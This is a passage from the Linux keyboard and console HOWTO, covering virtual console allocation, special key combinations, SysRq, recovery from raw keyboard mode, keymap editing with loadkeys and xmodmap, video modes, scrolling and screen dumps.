XFree86 1.3 does not know that Alt is down when you switch to the X window. Thus, you cannot switch immediately to some other VT again but have to release Alt first. In the other direction this should work: the kernel always keeps track of the up/down status of all keys. (As far as possible: on some keyboards some keys do not emit a scancode when pressed (e.g.: the PFn keys of a FOCUS 9000) or released (e.g.: the Pause key of many keyboards).)

XFree86 1.3 saves the fonts loaded in the character ROMs when started, and restores it on a console switch. Thus, the result of setfont on a VT is wiped out when you go to X and back. Using setfont under X will lead to funny results.

One can change VT under program control using the chvt command.

7.1 Changing the number of Virtual Consoles

This question still comes up from time to time, but the answer is: you already have enough of them. Since kernel version 1.1.54, there are between 1 and 63 virtual consoles. A new one is created as soon as it is opened. It is removed by the utility deallocvt (but it can be removed only when no processes are associated to it anymore, and no text on it has been selected by programs like selection or gpm).

For older kernels, change the line

        #define NR_CONSOLES     8
in include/linux/tty.h (don't increase this number beyond 63), and recompile the kernel.

If they do not exist yet, create the tty devices with MAKEDEV or mknod ttyN c 4 N where N denotes the tty number. For example,

        for i in 9 10 11 12; do mknod /dev/tty$i c 4 $i; done
or, better (since it also takes care of owner and permissions),
        for i in 9 10 11 12; do /dev/MAKEDEV tty$i; done

If you want the new VCs to run getty, add lines in /etc/inittab. (But it is much better to have only two getty's running, and to create more consoles dynamically as the need arises. That way you'll have more memory when you don't use all these consoles, and also more consoles, in case you really need them. Edit /etc/inittab and comment out all getty's except for the first two.)

When the consoles are allocated dynamically, it is usually easiest to have only one or two running getty. More are opened by open -l -s bash. Unused consoles (without associated processes) are deallocated using deallocvt (formerly disalloc). But, you say, I am involved in activities when I suddenly need more consoles, and do not have a bash prompt available to give the open command. Fortunately it is possible to create a new console upon a single keystroke, regardless of what is happening at the current console.

If you have spawn_login from kbd-1.04.tar.gz and you put

        loadkeys << EOF
        alt keycode 103 = Spawn_Console
        EOF
        spawn_login &
in /etc/rc.local, then typing Alt-UpArrow will create a fresh VC running login (and switch to it). With spawn_console & instead of spawn_login & you'll have bash running there. See also open-1.4.tgz and dynamic-vc-1.1.tar.gz.

What action should be taken upon this Spawn_Console keypress can also be set in /etc/inittab under kbrequest, if you have a recent init. See inittab(5).

(This action can be something entirely different - I just called the key Spawn_Console because that is what I used it for. When used for other purposes it is less confusing to use its synonym KeyboardSignal. For example, some people like to put the lines

        kb::kbrequest:/sbin/shutdown -h now
in /etc/inittab, and
        control alt keycode 79 = KeyboardSignal
        control alt keycode 107 = KeyboardSignal
in their keymap. Now Ctrl-Alt-End will do a system shutdown.)

You can only login as "root" on terminals listed in /etc/securetty. There exist programs that read terminal settings from files /etc/ttys and /etc/ttytype. If you have such files, and create additional consoles, then it might be a good idea to also add entries for them in these files.


The Linux keyboard and console HOWTO: Ctrl-Alt-Del and other special key combinations

 Next Previous Contents

8. Ctrl-Alt-Del and other special key combinations

8.1 Ctrl-Alt-Del (Boot)

If you press Ctrl-Alt-Del (or whatever key was assigned the keysym Boot by loadkeys) then either the machine reboots immediately (without sync), or init is sent a SIGINT. The former behaviour is the default. The default can be changed by root, using the system call reboot(), see ctrlaltdel(8). Some init's change the default. What happens when init gets SIGINT depends on the version of init used - often it will be determined by the pf entry in /etc/inittab (which means that you can run an arbitrary program in this case). In the current kernel Ctrl-AltGr-Del is no longer by default assigned to Boot.

8.2 Other combinations

Name            Default binding
-------------------------------
Show_Memory     Shift-Scrollock
Show_Registers  AltGr-ScrollLock
Show_State      Ctrl-ScrollLock
Console_n       Alt-Fn and Ctrl-Alt-Fn  (1 <= n <= 12)
Console_{n+12}  AltGr-Fn                (1 <= n <= 12)
Incr_Console    Alt-RightArrow
Decr_Console    Alt-LeftArrow
Last_Console    Alt[Gr]-PrintScreen
Scroll_Backward Shift-PageUp
Scroll_Forward  Shift-PageDown
Caps_On                                 (CapsLock is a toggle; this key sets)
Compose         Ctrl-.

8.3 X Combinations

Ctrl-Alt-Fn     Switch to VT n
Ctrl-Alt-KP+    Next mode
Ctrl-Alt-KP-    Previous mode
Ctrl-Alt-Backspace      Kill X
On some motherboards, Ctrl-Alt-KP- and Ctrl-Alt-KP+ will be equivalent to pressing the Turbo button. That is, both will produce the scancodes 1d 38 4a ca b8 9d and 1d 38 4e ce b8 9d, and both will switch between Turbo (>= 25MHz) and non-Turbo (8 or 12 MHz). (Often these key combinations only function this way when enabled by jumpers on the motherboard.)

Perry F Nguyen (pfnguyen@netcom22.netcom.com) writes: AMI BIOS has a feature that locks up the keyboard and flashes the LED's if the Ctrl-Alt-Backspace combination is pressed while a BIOS password is enabled, until the CMOS/BIOS password is typed in.

8.4 Dosemu Combinations

Ctrl-Alt-Fn     Switch to VT n (from version 0.50; earlier Alt-Fn)
Ctrl-Alt-PgDn   Kill dosemu (when in RAW keyboard mode)
(and many other combinations - see the dosemu documentation)

8.5 Composing symbols

One symbol may be constructed using several keystrokes.

  • LeftAlt-press, followed by a decimal number typed on the keypad, followed by LeftAlt-release, yields the symbol with code given by this number. (In Unicode mode this same mechanism, but then with 4 hexadecimal digits, may be used to define a Unicode symbol.)
  • A dead diacritic followed by a symbol, yields that symbol adorned with that diacritic. If the combination is undefined, both keys are taken separately. Which keys are dead diacritics is user-settable; none is by default. Five (since 2.0.25 six) dead diacritics can be defined (using loadkeys(1)): dead_grave, dead_acute, dead_circumflex, dead_tilde, dead_diaeresis (and dead_cedilla). Precisely what this adorning means is also user-settable: dead-diacritic, symbol is equivalent to Compose + diacritic + symbol.
  • Compose followed by two symbols yields a combination symbol. These combinations are user-settable. Today there are 68 combinations defined by default; you can see them by saying "dumpkeys | grep compose".
  • Then there are `Sticky' modifier keys (since 1.3.33). For example, one can type Ctrl-C as SControl, C and Ctrl-Alt-BackSpace as SControl, SAlt, BackSpace.

Note that there are at least four such composition mechanisms:

  1. The Linux keyboard driver mechanism, used in conjunction with loadkeys.
  2. The X mechanism - see X386keybd(1), later XFree86kbd(1). Under X11R6: edit /usr/X11R6/lib/X11/locale/iso8859-1/Compose.

    See also Andrew D. Balsa's comments at http://wauug.erols.com/~balsa/linux/deadkeys/index.html.

  3. The emacs mechanism obtained by loading "iso-insert.el" or calling `iso-accents-mode'.
  4. The vim mechanism: insert a composed symbol by pressing Ctrl-K followed by two symbols. A list of the possible combinations is obtained by the command :digraphs.
For X the order of the two symbols is arbitrary: both Compose-,-c and Compose-c-, yield a c-cedilla; for Linux and emacs only the former sequence works by default. For X and vim the list of compose combinations is fixed. Linux and emacs are flexible. The default lists are somewhat similar, but the details are different.

8.6 The SysRq key

In case your kernel was compiled with CONFIG_MAGIC_SYSRQ enabled (a feature that is present since Linux 2.1.43) there is a single key (defined in <linux/keyboard.h>) to which special system functions are attached, regardless of the current keyboard mode. For the PC architecture this special key is, naturally, the Alt+SysRq key, and any of the two Alt keys will work. (Note that if CONFIG_MAGIC_SYSRQ was not enabled, the default action of this key is to return to the previous console.)

If you press this key, do not release it, and hit another key, a corresponding action is performed. The action is performed whether anybody is logged in or not, is root or not. For the details, see drivers/char/sysrq.c. Since this feature is meant only for kernel hackers, that should suffice. Still, let me add a few remarks.

For the key r the keyboard mode is reset to K_XLATE. For the key k a SAK and console reset is done. For the key b the machine is rebooted immediately. (See, not something you want to have enabled on a production machine.) For the key o the power is turned off (when the machine is capable of that). For the key s an emergency sync is scheduled. For the key u an emergency read-only remount is scheduled. For the keys p,t,m various information is shown (namely the same information also shown for RAlt,RCtrl,RShift+ScrollLock). For the keys e,i,l all processes get a SIG_TERM or SIG_KILL, respectively; for l even the init process is killed. Digits set the log level. Anything else prints a short summary: SysRq: unRaw saK Boot Off Sync Unmount showPc showTasks showMem loglevel0-8 tErm kIll killalL.

Note: These are very dangerous actions! And they do not use your keymap - indeed, are meant for emergency cases where the state of your keymap, or even of the entire kernel, is uncertain. If you use a dvorak keyboard - bad luck! Most other people will be able to survive: the dangerous letters A,M,Q,W,Y,Z that are differently placed on English, French and German keyboards, are not used for actions. (But if your finger slips and you hit L instead of K - bye bye to your system.)

In Linux 2.3.13 the possibility to enable/disable SysRq was added.

        echo 0 > /proc/sys/kernel/sysrq
will disable it (if the kernel was compiled with CONFIG_MAGIC_SYSRQ).

8.7 Problems

A good keyboard accurately reports multiple key presses. Especially for people using a keyboard as Braille input device, where they have to be able to press up to six keys simultaneously, this is important. Many modern keyboards fail here due to sloppy design and testing - they misreport or fail in other ways when four or more keys are pressed simultaneously, sometimes already when two non-modifier keys are pressed simultaneously. This affects Linux users a bit: the SysRq key is not a modifier key, and people report problems using Alt-SysRq-X for various letters or digits X.

Long ago a similar problem (`ghosting') was caused by the design of the scan matrix: when three keys were pressed a fourth was also seen. That problem was solved by the use of diodes. Today it is the interface logic that is deficient.


The Linux keyboard and console HOWTO: How to get out of raw mode

 Next Previous Contents

9. How to get out of raw mode

If some program using K_RAW keyboard mode exits without restoring the keyboard mode to K_XLATE, then it is difficult to do anything - not even Ctrl-Alt-Del works. However, it is sometimes possible to avoid hitting the reset button. (And desirable as well: your users may get angry if you kill their Hack game by rebooting; you might also damage your file system.) Easy solutions involve logging in from another terminal or another machine and doing kbd_mode -a. The procedure below assumes that no X is running, that the display is in text mode, and that you are at your bash prompt, that you are using a US keyboard layout, and that your interrupt character is Ctrl-C.

Step 1. Start X. As follows: press 2 (and don't release), press F12 (and don't release) and immediately afterwards press = . This starts X. (Explanation: if a key press produces keycode K, then the key release produces keycode K+128. Probably your shell does not like these high characters, so we avoid generating them by not releasing any key. However, we have to be quick, otherwise key repeat starts. The digit 2 produces a Ctrl-C that discards previous junk, the F12 produces an X and the = a Return.) Probably your screen will be grey now, since no .xinitrc was specified. However, Ctrl-Alt-Fn will work and you can go to another VT. (Ctrl-Alt-Backspace also works, but that exits X, and gets you back into the previous state, which is not what you want.)

Step 2. Setup to change the keyboard mode. (For example, by sleep 5; kbd_mode -a.)

Step 3. Leave X again. Alt-Fx (often Alt-F7) brings you back to X, and then Ctrl-Alt-Backspace exits X. Within 5 seconds your keyboard will be usable again.

If you want to prepare for the occasion, then make \215A\301 (3 symbols) an alias for kbd_mode -a. Now just hitting = F7 = (3 symbols) will return you to sanity.


The Linux keyboard and console HOWTO: The keyboard LEDs

 Next Previous Contents

10. The keyboard LEDs

1. There are per-tty keyboard flags: each VC has its own NumLock, CapsLock, ScrollLock. By default these keyboard flags are shown in the LEDs. The usual way to change them is by pressing the corresponding key. (Side remark: pressing the NumLock key when in application key mode will not change the NumLock status, but produce an escape sequence. If you want the NumLock key to always change the Numlock status, bind it to Bare_Num_Lock.)

2. Next, there are per-tty default keyboard flags, to initialize the keyboard flags when a reset occurs. Thus if you want NumLock on all the time, that is possible. The usual way to change them is by `setleds -D ...'.

3. There is the possibility that the leds do not reflect the keyboard flags, but something else.

3A. This something else can be three bits somewhere in the kernel - which can be used if you want to monitor some hardware or software status bit(s). If you want this, edit the kernel source to call register_leds() somewhere.

3B. This something else can also be whatever some user program wants to show in the LEDs. Thus, people who like such things can make nice patterns of lights. If you want this, use the KDSETLED ioctl.

This latter use is not per-tty, but the choice between former and latter use is per-tty.

Summarizing: Each tty has a flag kbd->ledmode. If this has the value LED_SHOW_FLAGS then the keyboard flags (NumLock etc.) of that tty are shown. If this has the value LED_SHOW_MEM then three selected memory addresses are shown. If this has the value LED_SHOW_IOCTL then the leds show whatever value was last assigned to them using the KDSETLED ioctl.

One may add that X uses ioctl's to set the LEDs, but fails to reset its VT when it exits, so after using X there may be one VT that is not in the default LED_SHOW_FLAGS state. This can be fixed by doing `setleds -L' on that VT. See setleds(1).


The Linux keyboard and console HOWTO: The TERM variable

 Next Previous Contents

11. The TERM variable

Many programs use the TERM variable and the database /etc/termcap or /usr/lib/terminfo/* to decide which strings to send for clear screen, move cursor, etc., and sometimes also to decide which string is sent by the users backspace key, function keys etc. This value is first set by the kernel (for the console). Usually, this variable is re-set by getty, using /etc/ttytype or the argument specified in /etc/inittab. Sometimes, it is also set in /etc/profile.

Older systems use TERM=console or TERM=con80x25. Newer systems (with ncurses 1.8.6) use the more specific TERM=linux or TERM=linux-80x25. However, old versions of setterm test for TERM=con* and hence fail to work with TERM=linux.

Since kernel version 1.3.2, the kernel default for the console is TERM=linux.

If you have a termcap without entry for linux, add the word linux to the entry for the console:

        console|con80x25|linux:\
and make /usr/lib/terminfo/l/linux a copy of or symbolic link to /usr/lib/terminfo/c/console.

11.1 Terminfo

The terminfo entry for the linux console from ncurses 1.8.6 misses the entry kich1=\E[2~, needed by some programs. Edit the file and tic it.


The Linux keyboard and console HOWTO: How to make other programs work with non-ASCII chars

 Next Previous Contents

12. How to make other programs work with non-ASCII chars

In the bad old days this used to be quite a hassle. Every separate program had to be convinced individually to leave your bits alone. Not that all is easy now, but recently a lot of gnu utilities have learned to react to LC_CTYPE=iso_8859_1 or LC_CTYPE=iso-8859-1. Try this first, and if it doesn't help look at the hints below. Note that in recent versions of libc the routine setlocale() only works if you have installed the locale files (e.g. in /usr/lib/locale).

First of all, the 8-th bit should survive the kernel input processing, so make sure to have stty cs8 -istrip -parenb set.

A. For emacs the details strongly depend on the version. The information below is for version 19.34. Put lines

        (set-input-mode nil nil 1)
        (standard-display-european t)
        (require 'iso-syntax)
into your $HOME/.emacs. The first line (to be precise: the final 1) tells emacs not to discard the 8-th bit from input characters. The second line tells emacs not to display non-ASCII characters as octal escapes. The third line specifies the syntactic properties and case conversion table for the Latin-1 character set These last two lines are superfluous if you have something like LC_CTYPE=ISO-8859-1 in your environment. (The variable may also be LC_ALL or even LANG. The value may be anything with a substring `88591' or `8859-1' or `8859_1'.)

This is a good start. On a terminal that cannot display non-ASCII ISO 8859-1 symbols, the command

        (load-library "iso-ascii")
will cause accented characters to be displayed comme {,c}a. If your keymap does not make it easy to produce non-ASCII characters, then
        (load-library "iso-transl")
will make the 2-character sequence Ctrl-X 8 a compose character, so that the 4-character sequence Ctrl-X 8 , c produces c-cedilla. Very inconvenient.

The command

        (iso-accents-mode)
will toggle ISO-8859-1 accent mode, in which the six characters ', `, ", ^, ~, / are dead keys modifying the following symbol. Special combinations: ~c gives a c with cedilla, ~d gives an Icelandic eth, ~t gives an Icelandic thorn, "s gives German sharp s, /a gives a with ring, /e gives an a-e ligature, ~< and ~> give guillemots, ~! gives an inverted exclamation mark, ~? gives an inverted question mark, and '' gives an acute accent. This is the default mapping of accents. The variable iso-languages is a list of pairs (language name, accent mapping), and a non-default mapping can be selected using
        (iso-accents-customize LANGUAGE)
Here LANGUAGE can be one of "portuguese", "irish", "french", "latin-2", "latin-1".

Since the Linux default compose character is Ctrl-. it might be convenient to use that everywhere. Try

        (load-library "iso-insert.el")
        (define-key global-map [?\C-.] 8859-1-map)
The latter line will not work under xterm, if you use emacs -nw, but in that case you can put
        XTerm*VT100.Translations:       #override\n\
              Ctrl <KeyPress> . : string("\0308")
in your .Xresources.)

B. For less, put LESSCHARSET=latin1 in the environment. This is also what you need if you see \255 or <AD> in man output: some versions of less will render the soft hyphen (octal 0255, hex 0xAD) this way when not given permission to output Latin-1.

C. For ls, give the option -N. (Probably you want to make an alias.)

D. For bash (version 1.13.*), put

        set meta-flag on
        set convert-meta off
        set output-meta on
into your $HOME/.inputrc.

E. For tcsh, use

        setenv LANG     US_en
        setenv LC_CTYPE iso_8859_1
If you have nls on your system, then the corresponding routines are used. Otherwise tcsh will assume iso_8859_1, regardless of the values given to LANG and LC_CTYPE. See the section NATIVE LANGUAGE SYSTEM in tcsh(1). (The Danish HOWTO says: setenv LC_CTYPE ISO-8859-1; stty pass8)

F. For flex, give the option -8 if the parser it generates must be able to handle 8-bit input. (Of course it must.)

G. For elm, set displaycharset to ISO-8859-1. (Danish HOWTO: LANG=C and LC_CTYPE=ISO-8859-1)

H. For programs using curses (such as lynx) David Sibley reports: The regular curses package uses the high-order bit for reverse video mode (see flag _STANDOUT defined in /usr/include/curses.h). However, ncurses seems to be 8-bit clean and does display iso-latin-8859-1 correctly.

I. For programs using groff (such as man), make sure to use -Tlatin1 instead of -Tascii. Old versions of the program man also use col, and the next point also applies.

J. For col, make sure 1) that it is fixed so as to do setlocale(LC_CTYPE,""); and 2) put LC_CTYPE=ISO-8859-1 in the environment.

K. For rlogin, use option -8.

L. For joe, metalab.unc.edu:/pub/Linux/apps/editors/joe-1.0.8-linux.tar.gz is said to work after editing the configuration file. Someone else said: joe: Put the -asis option in /isr/lib/joerc in the first column.

M. For LaTeX: \documentstyle[isolatin]{article}. For LaTeX2e: \documentclass{article}\usepackage{isolatin} where isolatin.sty is available from ftp.vlsivie.tuwien.ac.at/pub/8bit.

A nice discussion on the topic of ISO-8859-1 and how to manage 8-bit characters is contained in the file grasp.insa-lyon.fr:/pub/faq/fr/accents (in French). Another fine discussion (in English) can be found in rtfm.mit.edu:pub/usenet-by-group/comp.answers/internationalization/iso-8859-1-charset.

If you need to fix a program that behaves badly with 8-bit characters, one thing to keep in mind is that if you have a signed char type then characters may be negative, and using them as an array index will fail. Several programs can be fixed by judiciously adding (unsigned char) casts.


The Linux keyboard and console HOWTO: X

 Next Previous Contents

13. X

This FAQ/HOWTO is about the Linux keyboard and console, not about X, which substitutes its own handling. However, it seems useful to document some of the Linux keyboard and console related properties of X.

First of all, when X is started (say using startx or xinit) it opens the first unused console, unless the desired console has been indicated explicitly, as in xinit -- vt12. Note that this will fail when there is no device file /dev/tty12, but that it will not fail when the indicated console was in use already. When X finishes, it will return to the original console. While it is running one can use Ctrl-Alt-Fn to switch to VTn.

The XFree86 keymap mechanism is much poorer than the Linux mechanism. For each keycode there are at most 4 symbols defined, namely for the 4 keymaps plain, shift, mod, mod+shift. What is the modifier mod? It is the one designated by the symbol Mode_switch. For example, the command xmodmap keys.dk, where the file keys.dk contains

keycode 64 = Mode_switch
keycode 113 = Mode_switch
keycode 38 = a A aring Aring
keycode 26 = e E ae AE
keycode 32 = o O oslash Ooblique
will make both Alt keys into mod keys, so that Alt+a gives å (a-ring), etc. (Note the illogical naming of oslash and Ooblique.) Such an xmodmap command can be placed in the .xinitrc shell script that is executed by default when X is started.

13.1 What precisely does XFree86-2.1 do when it initializes its keymap?

Since version 2.1, XFree86 will initialize its keymap from the Linux keymap, as far as possible. However, Linux had 16 entries per key (one for each combination of the Shift, AltGr, Ctrl, Alt modifiers) and presently has 256 entries per key, while X has 4 entries per key (one for each combination of Shift, Mod), so some information is necessarily lost.

First X reads the Xconfig file, where definitions of the LeftAlt, RightAlt, RightCtl, ScrollLock keys as Meta, ModeShift, Compose, ModeLock or ScrollLock might be found - see X386keybd(1), later XFree86kbd(1).

For Mod the LeftAlt key is taken, unless RightCtl was defined as ModeShift or ModeLock, in which case RightCtl is taken, or RightAlt was so defined, in which case RightAlt is taken. This determines how the 4 XFree86 meanings of a key are selected from the 16 Linux meanings. Note that Linux today does not distinguish by default between the two Ctrl keys or between the two Shift keys. X does distinguish.

Now the kernel keymap is read and the usually obvious corresponding X bindings are made. The bindings for the "action keys" Show_Memory, Show_State, Show_Registers, Last_Console, Console_n, Scroll_Backward, Scroll_Forward, Caps_On and Boot are ignored, as are the dead diacriticals, and the locks (except for ShiftLock), and the "ASCII-x" keys.

Next, the definitions in the Xconfig file are used. (Thus, a definition of Compose in Xconfig will override its value as found in the Linux keymap.)

What happens to the strings associated with the function keys? Nothing, X does not have such a concept. (But it is possible to define strings for function keys in xterm - note however that the window manager gets the keys first.)

I don't know how to convince xterm that it should use the X keymap when Alt is pressed; it seems just to look at its resource eightBitInput, and depending on whether that is true or false either set the high order bit of the character, or generate an additional Escape character (just like setmetamode(1) does for the console).


The Linux keyboard and console HOWTO: Unusual keys and keyboards

 Next Previous Contents

14. Unusual keys and keyboards

The two keys PrintScrn/SysRq and Pause/Break are special in that they have two keycodes: the former has keycode 84 when Alt is pressed simultaneously, and keycode 99 otherwise; the latter has keycode 101 when Ctrl is pressed simultaneously, and keycode 119 otherwise. (Thus, it makes no sense to bind functions to Alt keycode 99 or Ctrl keycode 119.) The Pause/Break key is also special in another way: it does not generate key-up scancodes, but generates the entire 6-scancode sequence on key-down.

If you have strange keys, that do not generate any code under Linux (or generate messages like "unrecognized scancode"), and your kernel is 1.1.63 or later, then you can use setkeycodes(1) to tell the kernel about them. Once they have gotten a keycode from setkeycodes, they can be assigned a function by loadkeys.

For example, using showkey -s one sees that Microsoft keyboards use the scancode sequences (in hexadecimal) e0 5b (left Windows key), e0 5c (right Windows key), e0 5d (Menu key). Microsoft Internet keyboard also uses e0 6a (Back), e0 69 (Forward), e0 68 (Stop), e0 6c (Mail), e0 65 (Search), e0 66 (Favorites), e0 32 (Web/Home), e0 6b (My Computer), e0 21 (Calculator), e0 5f (Sleep). Use dumpkeys to see what keycodes are still unused. Typically values like 89-95 and 112-118 and 120-127 are free. Now

        % setkeycodes e05b 125
        % setkeycodes e05c 126
        % setkeycodes e05d 127
assigns keycodes to these scancode sequences, and
        % loadkeys
        keycode 125 = Decr_Console
        keycode 126 = Incr_Console
        keycode 127 = KeyboardSignal
        %
would make these Windows keys go to the previous or next virtual console, and let the Menu key create a fresh virtual console (in case you have something like spawn_console running).


The Linux keyboard and console HOWTO: Examples of use of loadkeys and xmodmap

 Next Previous Contents

15. Examples of use of loadkeys and xmodmap

Switching Caps Lock and Control on the keyboard (assuming you use keymaps 0-15; check with dumpkeys | head -1)

        % loadkeys
        keymaps 0-15
        keycode 58 = Control
        keycode 29 = Caps_Lock
        %
Switching them under X only:
        % xmodmap .xmodmaprc
where .xmodmaprc contains lines
        remove Lock = Caps_Lock
        remove Control = Control_L
        keysym Control_L = Caps_Lock
        keysym Caps_Lock = Control_L
        add Lock = Caps_Lock
        add Control = Control_L
What is this about the key numbering? Backspace is 14 under Linux, 22 under X? Well, the numbering can best be regarded as arbitrary; the Linux number of a key can be found using showkey(1), and the X number using xev(1). Often the X number will be 8 more than the Linux number.

Something else people like to change are the bindings of the function keys. Suppose that you want to make F12 produce the string "emacs ". Then

        % loadkeys
        keycode 88 = F12
        string F12 = "emacs "
        %
will do this. More explicitly, the procedure is like this: (i) find the keycodes of the keys to be remapped, using showkey(1). (ii) save the current keymap, make a copy and edit that:
        % dumpkeys > my_keymap
        % cp my_keymap trial_keymap
        % emacs trial_keymap
        % loadkeys trial_keymap
        %
The format of the table can be guessed by looking at the output of dumpkeys, and is documented in keymaps(5). When the new keymap functions as desired, you can put an invocation
        loadkeys my_new_keymap
in /etc/rc.local or so, to execute it automatically at boot-up. Note that changing modifier keys is tricky, and a newbie can easily get into a situation only an expert can get out of.

The default directory for keymaps is /usr/lib/kbd/keymaps. The default extension for keymaps is .map. For example, loadkeys uk would probably load /usr/lib/kbd/keymaps/i386/qwerty/uk.map. (With kbd-0.95 and older this would be /usr/lib/kbd/keytables and /usr/lib/kbd/keytables/uk.map.)

(On my machine) /dev/console is a symbolic link to /dev/tty0, and the kernel regards /dev/tty0 as a synonym for the current VT. XFree86 1.3 changes the owner of /dev/tty0, but does not reset this after finishing. Thus, loadkeys or dumpkeys might fail because someone else owns /dev/tty0; in such a case you might run X first. Note that you cannot change keyboard mappings when not at the console (and not superuser).

15.1 `I can use only one finger to type with'

"Can the Shift, Ctrl and Alt keys be made to behave as toggles?"

Yes, after saying

        % loadkeys
        keymaps 0-15
        keycode 29 = Control_Lock
        keycode 42 = Shift_Lock
        keycode 56 = Alt_Lock
        %
the left Control, Shift and Alt keys will act as toggles. The numbers involved are revealed by showkey (and usually are 29, 97, 42, 54, 56, 100 for left and right control, shift and alt, respectively), and the functions are Control_Lock, Shift_Lock, Alt_Lock, ALtGr_Lock.

"What about `sticky' modifier keys?"

Since version 1.3.33, the kernel knows about `sticky' modifier keys. These act on the next key pressed. So, where one earlier needed the 3-symbol sequence Shift_Lock a Shift_Lock to type `A', one can now use the 2-symbol sequence SShift_Lock a. You can say

        % loadkeys
        keymaps 0-15
        keycode 54 = SShift
        keycode 97 = SCtrl
        keycode 100 = SAlt
        %
to make the right Shift, Ctrl, Alt sticky versions of the left ones. This will allow you to type Ctrl-Alt-Del in three keystrokes with one hand.

The keymaps line in these examples should cover all keymaps you have in use. You find what keymaps you have in use by

        % dumpkeys | head -1

15.2 Sticky keys under X

The following text was contributed by Piotr Mitros.

XFree86 supports an accessibility option which allows disabled users to type single-handed. With sticky keys enabled, the user can hit a modifier key (ctrl, alt, shift) followed by another key, rather than having to hold the modifier key while hitting the letter.

To enable sticky keys, first make sure the xkb extension is enabled (this is done during initial X server configuration and is usually enabled by default). Next, run the X server with the +accessx option. If you use startx, either run startx -- +accessx or add +accessx to the serverargs line in the startx script. If you use xdm, add +accessx to the appropriate server line in /etc/X11/xdm/Xservers.

It is also possible to enable X accessibility with some end-user utilities with a running X server.

Once X accessibility is enabled, press the shift key five times in a row to enable sticky keys. To disable sticky keys, either press the shift key five times again, or press a key while holding a modifier key.

XFree86 also supports Slow Keys, Repeat Keys, Bounce Keys and an audible bell. xkbcomp can be used to generate a .xkm file to enable these. The appropriate xkbcomp commands are listed in /usr/X11R6/lib/X11/xkb/compat/accessx. Unfortunately, the exact process is still undocumented.


The Linux keyboard and console HOWTO: Changing the video mode

 Next Previous Contents

16. Changing the video mode

As far as I know there are 6 ways to change resolution:

1. At compile time: change the line

        SVGA_MODE=      -DSVGA_MODE=NORMAL_VGA
in /usr/src/linux/Makefile.

1A. After compilation: use rdev -v - a terrible hack, but it exists.

2. At boot time: put vga=ask in the lilo config file, and lilo will ask you what video mode you want. Once you know, put vga=mypreference.

3. At run time: A. Use the resizecons command. (This is a very primitive wrapper around the VT_RESIZE ioctl.) B. Use the SVGATextMode command. (This is a less primitive wrapper around the VT_RESIZE ioctl.)

4. Not "on the console": Under dosemu, or with svgalib etc. you can change the hardware video mode without the console driver being aware of it. Sometimes this is useful in getting resizecons or SVGATextMode set up: use dosemu and some DOS program to get into the desired videomode, dump (say from another VT) the contents of all video hardware registers, and use that in the initialization that resizecons and SVGATextMode require. In some cases where the video mode has gotten into some unusable state, starting dosemu, relying on the BIOS to set up the video mode, and then killing dosemu (with kill -9), is the easiest way to get into shape again.

16.1 Instructions for the use of resizecons

Get svgalib and compile the program restoretextmode. Boot up your machine in all possible video modes (using vga=ask in the lilo config file), and write the video hardware register contents to files CxR (C=cols, R=rows), e.g., 80x25, 132x44, etc. Put these files in /usr/lib/kbd/videomodes. Now resizecons 132x44 will change videomode for you (and send SIGWINCH to all processes that need to know about this, and load another font if necessary).

At present, resizecons only succeeds when there is memory enough for both the old and the new consoles at the same time.


The Linux keyboard and console HOWTO: Changing the keyboard repeat rate

 Next Previous Contents

17. Changing the keyboard repeat rate

At startup, the Linux kernel sets the repeat rate to its maximal value. For most keyboards this is reasonable, but for some it means that you can hardly touch a key without getting three copies of the corresponding symbol. Use the program kbdrate(8) to change the repeat rate, or, if that doesn't help, edit or remove the section

     ! set the keyboard repeat rate to the max

         mov     ax,#0x0305
         xor     bx,bx           ! clear bx
         int     0x16
of /usr/src/linux/[arch/i386/]boot/setup.S.

Scott Johnston (sj@zule.com) reports: `To program the repeat rate of a Gateway AnyKey keyboard all one has to do is press the "Repeat Rate" key, then a function key F1-F8, then "Repeat Rate" again. F1 is the slowest possible repeat rate, and F8 is really fast. If you somehow manage to mess up your AnyKey keyboard doing this, simply press Ctrl-Alt-SuspndMacro to reset your keyboard to factory default settings.'


The Linux keyboard and console HOWTO: Scrolling

 Next Previous Contents

18. Scrolling

There are two ways to get a screen to scroll. The first, called `hard scrolling', is to leave the text in video memory as it is, but change the viewing origin. This is very fast. The second, called `soft scrolling', involves moving all screen text up or down. This is much slower. The kernel console driver will write text starting at the top of the video memory, continuing to the bottom, then copy the bottom part to the top again, and continue, all the time using hard scrolling to show the right part on the screen. You can scroll back until the top op the video memory by using Shift-PageUp (the grey PageUp) and scroll down again using Shift-PageDown (the grey PageDown), assuming a default keymap. The amount of scrollback is thus limited to the amount of video memory you happen to have and you cannot increase this amount. If you need more scrollback, use some program that buffers the text, like less or screen - by using a buffer on disk you can go back to what you did last week. (One can set the amount of scrollback for xterm by adding a line like XTerm*saveLines: 2500 in .Xresources.)

Upon changing virtual consoles, the screen content of the old VT is copied to kernel memory, and the screen content of the new VT is copied from kernel memory to video memory. Only the visible screen is copied, not all of video memory, so switching consoles means losing the scrollback information.

Sometimes, hard scrolling is undesirable, for example when the hardware does not have the possibility to change viewing origin. The first example was a Braille machine that would render the top of video memory in Braille. There is a kernel boot-time option no-scroll to tell the console driver not to use hard scrolling. See bootparam(7).


The Linux keyboard and console HOWTO: Screensaving

 Next Previous Contents

19. Screensaving

setterm -blank nn will tell the console driver to blank the screen after nn minutes of inactivity. (With nn = 0, screensaving is turned off. In some old kernels this first took effect after the next keyboard interrupt.)

The s option of xset(1) will set the X screensaving parameters: xset s off turns off the screensaver, xset s 10 blanks the screen after 10 minutes.

The video hardware powersaving modes can be enabled/disabled using the setvesablank program given in the starting comment of /usr/src/linux/drivers/char/vesa_blank.c.


The Linux keyboard and console HOWTO: Screen dumps

 Next Previous Contents

20. Screen dumps

setterm -dump N will dump the contents of the screen of /dev/tty N to a file screen.dump in the current directory. See setterm(1).

The current contents of the screen of /dev/tty N can be accessed using the device /dev/vcs N (where `vcs' stands for `virtual console screen'). For example, you could have a clock program that displays the current time in the upper right hand corner of the console screen (see the program vcstime in kbd-1.04.tar.gz). Just dumping the contents goes with cat /dev/vcs N. These device files /dev/vcs N do not contain newlines, and do not contain attributes, like colors. From a program it is usually better to use /dev/vcsa N (`virtual console screen with attributes') instead - it starts with a header giving the number of rows and columns and the location of the cursor. See vcs(4).


The Linux keyboard and console HOWTO: Some properties of the VT100 - application key mode

 Next Previous Contents

21. Some properties of the VT100 - application key mode

: Sometimes my cursor keys or keypad keys produce strange codes?

When the terminal is in application cursor key mode the cursor keys produce Esc O x and otherwise Esc [ x where x is one of A,B,C,D. Certain programs put the terminal in application cursor key mode; if you kill them with kill -9, or if they crash, then the mode will not be reset.

